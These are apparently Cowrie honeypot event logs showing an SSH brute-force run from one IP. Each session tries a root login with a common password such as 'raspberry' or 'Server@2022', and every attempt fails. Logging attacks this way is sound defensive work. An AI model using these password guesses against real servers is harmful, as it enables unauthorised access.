{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:18.662230Z","src_ip":"60.165.124.241","session":"4cfc224dc7b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:19.907799Z","src_ip":"60.165.124.241","session":"4cfc224dc7b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37736,"dst_ip":"10.17.0.5","dst_port":22,"session":"360ab837ed3f","protocol":"ssh","message":"New connection: 60.165.124.241:37736 (10.17.0.5:22) [session: 360ab837ed3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:20.163450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:20.169066Z","src_ip":"60.165.124.241","session":"360ab837ed3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:20.425486Z","src_ip":"60.165.124.241","session":"360ab837ed3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:21.190935Z","src_ip":"60.165.124.241","session":"360ab837ed3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.103.161.34","src_port":38096,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc21a2c419d6","protocol":"telnet","message":"New connection: 85.103.161.34:38096 (159.203.135.109:23) [session: dc21a2c419d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:21.508291Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:22.448701Z","src_ip":"60.165.124.241","session":"360ab837ed3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40740,"dst_ip":"10.17.0.5","dst_port":22,"session":"08651fe8bf23","protocol":"ssh","message":"New connection: 60.165.124.241:40740 (10.17.0.5:22) [session: 08651fe8bf23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:22.702518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:22.707449Z","src_ip":"60.165.124.241","session":"08651fe8bf23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:22.963450Z","src_ip":"60.165.124.241","session":"08651fe8bf23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbps","message":"login attempt [root/dbps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:23.700762Z","src_ip":"60.165.124.241","session":"08651fe8bf23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:24.954154Z","src_ip":"60.165.124.241","session":"08651fe8bf23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43408,"dst_ip":"10.17.0.5","dst_port":22,"session":"7462cc7dcf26","protocol":"ssh","message":"New connection: 60.165.124.241:43408 (10.17.0.5:22) [session: 7462cc7dcf26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:25.205683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:25.213044Z","src_ip":"60.165.124.241","session":"7462cc7dcf26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:25.466446Z","src_ip":"60.165.124.241","session":"7462cc7dcf26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lijun123","message":"login attempt [root/lijun123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:26.246817Z","src_ip":"60.165.124.241","session":"7462cc7dcf26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:27.498209Z","src_ip":"60.165.124.241","session":"7462cc7dcf26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46506,"dst_ip":"10.17.0.5","dst_port":22,"session":"a022737e7b8c","protocol":"ssh","message":"New connection: 60.165.124.241:46506 (10.17.0.5:22) [session: a022737e7b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:27.727000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:27.731996Z","src_ip":"60.165.124.241","session":"a022737e7b8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:27.970072Z","src_ip":"60.165.124.241","session":"a022737e7b8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q!w2e3r4t5","message":"login attempt [root/Q!w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:28.692664Z","src_ip":"60.165.124.241","session":"a022737e7b8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:29.937301Z","src_ip":"60.165.124.241","session":"a022737e7b8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49416,"dst_ip":"10.17.0.5","dst_port":22,"session":"a904d2aa3934","protocol":"ssh","message":"New connection: 60.165.124.241:49416 (10.17.0.5:22) [session: a904d2aa3934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:30.173890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:30.178833Z","src_ip":"60.165.124.241","session":"a904d2aa3934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:30.418700Z","src_ip":"60.165.124.241","session":"a904d2aa3934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcdsaqwe321","message":"login attempt [root/zxcdsaqwe321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:31.141663Z","src_ip":"60.165.124.241","session":"a904d2aa3934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:32.382245Z","src_ip":"60.165.124.241","session":"a904d2aa3934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52142,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6648f8aff7b","protocol":"ssh","message":"New connection: 60.165.124.241:52142 (10.17.0.5:22) [session: b6648f8aff7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:32.642605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:32.646933Z","src_ip":"60.165.124.241","session":"b6648f8aff7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:32.896617Z","src_ip":"60.165.124.241","session":"b6648f8aff7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2022","message":"login attempt [root/Server@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:33.667718Z","src_ip":"60.165.124.241","session":"b6648f8aff7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:34.937424Z","src_ip":"60.165.124.241","session":"b6648f8aff7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55254,"dst_ip":"10.17.0.5","dst_port":22,"session":"a515ae4e7aa9","protocol":"ssh","message":"New connection: 60.165.124.241:55254 (10.17.0.5:22) [session: a515ae4e7aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:35.159966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:35.166399Z","src_ip":"60.165.124.241","session":"a515ae4e7aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:35.398092Z","src_ip":"60.165.124.241","session":"a515ae4e7aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yoyo","message":"login attempt [root/yoyo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:36.386248Z","src_ip":"60.165.124.241","session":"a515ae4e7aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:37.630479Z","src_ip":"60.165.124.241","session":"a515ae4e7aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58280,"dst_ip":"10.17.0.5","dst_port":22,"session":"d03947da92e9","protocol":"ssh","message":"New connection: 60.165.124.241:58280 (10.17.0.5:22) [session: d03947da92e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:37.876322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:37.881167Z","src_ip":"60.165.124.241","session":"d03947da92e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:38.132847Z","src_ip":"60.165.124.241","session":"d03947da92e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Start123!","message":"login attempt [root/Start123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:38.884373Z","src_ip":"60.165.124.241","session":"d03947da92e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:40.129213Z","src_ip":"60.165.124.241","session":"d03947da92e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33006,"dst_ip":"10.17.0.5","dst_port":22,"session":"9600d13e6d72","protocol":"ssh","message":"New connection: 60.165.124.241:33006 (10.17.0.5:22) [session: 9600d13e6d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:40.365740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:26:40.370818Z","src_ip":"60.165.124.241","session":"9600d13e6d72","protocol":"ssh"}
